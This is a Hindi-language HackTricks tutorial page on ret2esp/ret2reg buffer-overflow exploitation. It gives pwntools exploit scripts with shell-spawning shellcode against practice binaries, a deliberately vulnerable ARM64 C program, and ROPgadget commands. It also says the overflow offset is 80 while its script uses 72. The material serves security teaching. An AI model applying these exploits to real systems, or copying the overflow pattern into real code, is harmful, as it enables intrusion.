Ret2esp / Ret2reg

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Ret2esp

क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष की ओर इशारा करता है, यह तकनीक EIP (इंस्ट्रक्शन पॉइंटर) को jmp esp या call esp इंस्ट्रक्शन के पते से बदलने में शामिल है। ऐसा करने से, शेलकोड ठीक EIP के ओवरराइट होने के बाद रखा जाता है। जब ret इंस्ट्रक्शन निष्पादित होता है, तो ESP अगले पते की ओर इशारा करता है, जो ठीक उसी स्थान पर है जहां शेलकोड संग्रहीत है।

यदि एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR) Windows या Linux में सक्षम नहीं है, तो साझा पुस्तकालयों में पाए जाने वाले jmp esp या call esp इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, ASLR सक्रिय होने पर, आपको इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको PIE को हराने की आवश्यकता हो सकती है)।

इसके अलावा, EIP भ्रष्टाचार के बाद शेलकोड रखने में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि कार्य के संचालन के दौरान निष्पादित किसी भी push या pop इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड कार्य के स्टैक के मध्य में रखा गया हो।

स्थान की कमी

यदि आप RIP को ओवरराइट करने के बाद लिखने के लिए स्थान की कमी महसूस कर रहे हैं (शायद केवल कुछ बाइट्स), तो एक प्रारंभिक jmp शेलकोड लिखें जैसे:

armasm
sub rsp, 0x30
jmp rsp

और स्टैक में जल्दी शेलकोड लिखें।

उदाहरण

आप इस तकनीक का एक उदाहरण https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp में एक अंतिम एक्सप्लॉइट के साथ पा सकते हैं:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

आप इस तकनीक का एक और उदाहरण देख सकते हैं https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html। यहाँ एक बफर ओवरफ्लो है जिसमें NX सक्षम नहीं है, एक गैजेट का उपयोग किया गया है $esp के पते को कम करने के लिए और फिर jmp esp; का उपयोग करके शेलकोड पर कूदने के लिए:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

इसी तरह, यदि हम जानते हैं कि एक फ़ंक्शन उस पते को लौटाता है जहाँ शेलकोड संग्रहीत है, तो हम call eax या jmp eax निर्देशों का उपयोग कर सकते हैं (जिसे ret2eax तकनीक के रूप में जाना जाता है), जो हमारे शेलकोड को निष्पादित करने का एक और तरीका प्रदान करता है। जैसे eax, कोई अन्य रजिस्टर जिसमें एक दिलचस्प पता हो, का उपयोग किया जा सकता है (ret2reg).

उदाहरण

आप कुछ उदाहरण यहाँ पा सकते हैं:

ARM64

Ret2sp

ARM64 में कोई निर्देश नहीं हैं जो SP रजिस्टर पर कूदने की अनुमति देते हैं। यह संभव हो सकता है कि एक गैजेट मिले जो sp को एक रजिस्टर में स्थानांतरित करता है और फिर उस रजिस्टर पर कूदता है, लेकिन मेरी काली की libc में मुझे ऐसा कोई गैजेट नहीं मिला:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

मैंने केवल वही खोजा जो उस रजिस्ट्र्री के मान को बदल देगा जहाँ sp को कूदने से पहले कॉपी किया गया था (इसलिए यह बेकार हो जाएगा):

Ret2reg

यदि किसी रजिस्ट्र्री का एक दिलचस्प पता है, तो इसे कूदने के लिए केवल उचित निर्देश खोजकर कूदना संभव है। आप कुछ ऐसा उपयोग कर सकते हैं:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

ARM64 में, यह x0 है जो एक फ़ंक्शन का लौटने वाला मान संग्रहीत करता है, इसलिए यह हो सकता है कि x0 एक बफर का पता संग्रहीत करता है जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है जिसमें निष्पादित करने के लिए एक शेलकोड होता है।

उदाहरण कोड:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

फंक्शन के डिसअसेंबली की जांच करने पर यह देखा जा सकता है कि बफर का पता (bof के लिए संवेदनशील और उपयोगकर्ता द्वारा नियंत्रित) x0 में संग्रहीत है, बफर ओवरफ्लो से लौटने से पहले:

यह भी संभव है कि do_stuff फंक्शन में गैजेट br x0 पाया जाए:

हम उस गैजेट का उपयोग करेंगे क्योंकि बाइनरी बिना PIE के संकलित है। एक पैटर्न का उपयोग करके यह देखा जा सकता है कि बफर ओवरफ्लो का ऑफसेट 80 है, इसलिए एक्सप्लॉइट होगा:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

यदि fgets के बजाय कुछ ऐसा read का उपयोग किया गया होता, तो केवल रिटर्न एड्रेस के अंतिम 2 बाइट्स को ओवरराइट करके br x0; इंस्ट्रक्शन पर वापस जाना संभव होता बिना पूरे एड्रेस को जाने।
fgets के साथ यह काम नहीं करता क्योंकि यह अंत में एक नल (0x00) बाइट जोड़ता है

Protections

  • NX: यदि स्टैक निष्पादन योग्य नहीं है तो यह मदद नहीं करेगा क्योंकि हमें शेलकोड को स्टैक में रखना है और इसे निष्पादित करने के लिए कूदना है।
  • ASLR & PIE: ये किसी इंस्ट्रक्शन को esp या किसी अन्य रजिस्टर पर कूदने के लिए ढूंढना कठिन बना सकते हैं।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें